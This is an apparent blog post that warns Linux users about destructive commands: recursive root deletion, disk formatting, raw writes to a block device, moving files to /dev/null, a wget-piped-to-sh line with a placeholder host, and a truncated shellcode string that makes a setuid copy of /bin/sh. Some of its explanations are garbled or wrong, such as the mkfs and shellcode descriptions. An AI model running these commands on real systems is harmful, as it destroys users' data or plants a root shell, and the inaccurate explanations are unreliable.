These Linux Commands Can Be Dangerous For Your Files

The command line is perhaps the most important bit about Linux. It makes you the master of your own computer and lets you manage and customise things the way you want. But, with great power comes great responsibility and there are some commands, which can end up damaging or removing your files

rm -rf /

This command is dangerous. It forcefully and recursively deletes all files in your root directory.

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"cp -p /bin/sh /tmp/.beyond; chmod 4755

The user found himself trapped in this hex. It is actually the same command as above, but disguised.

mkfs.ext3 /dev/sda

Files named after the mkfs command will all be reformatted or eiped out from your system.


This command freezes your system. It does so by directing it to execute a large number of processes. It is known as 'forkbomb' in Linux circles.

any_command > /dev/sda

This command can result in total loss of all your data. It writes raw data to a block device.

wget http://some_untrusted_source -O- | sh

This is a malicious code that you may receive when you have downloaded something from untrusted sources.

mv /home/yourhomedirectory/* /dev/null

This command moves all home directory files to a sort of black hole in your system. Basically, the files get moved to a place, which doesn't exist and you never get to see them again.

These are perhaps the top seven of the most dangerous Linux commands. There are others as well, but these will be the ones that you may usually come across. Now you're aware though, so keep coding.


Popular posts from this blog